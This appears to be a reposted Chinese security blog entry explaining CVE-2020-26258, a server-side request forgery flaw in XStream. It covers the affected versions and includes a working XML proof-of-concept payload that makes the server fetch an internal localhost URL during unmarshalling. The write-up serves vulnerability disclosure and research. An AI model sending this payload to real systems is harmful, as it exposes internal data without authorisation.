CVE-2020-26258:可以使用XStream解组激活服务器端伪造请求,以从引用内部网或本地主机中资源的任意URL访问数据流。
受影响的版本:
如果使用现成的版本,则直到1.4.14(包括1.4.14)的所有版本都将在Java 15以下的Java环境中运行。没有用户受到影响,他们遵循建议使用白名单设置 XStream的安全框架。
漏洞描述:
在解组时处理的流包含类型信息以重新创建以前写入的对象。因此,XStream基于这些类型信息创建新的实例。攻击者可以操纵处理后的输入流并替换或注入对象,从而导致服务器端进行伪造请求。
POC:
该漏洞可能允许远程攻击者仅通过处理已处理的输入流来从不公开可用的内部资源中请求数据。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
创建一个简单的HashMap并使用XStream将其封送为XML。用以下代码片段替换XML,然后用XStream重新解组它。
一旦解组XML,就会执行有效负载并收集来自URL位置的数据。
注意,此示例使用XML,但是可以针对任何受支持的格式(例如JSON)执行攻击。
请参考:
https://x-stream.github.io/CVE-2020-26258.html
本文始发于微信公众号(Khan安全攻防实验室):CVE-2020-26258-POC-SSRF攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论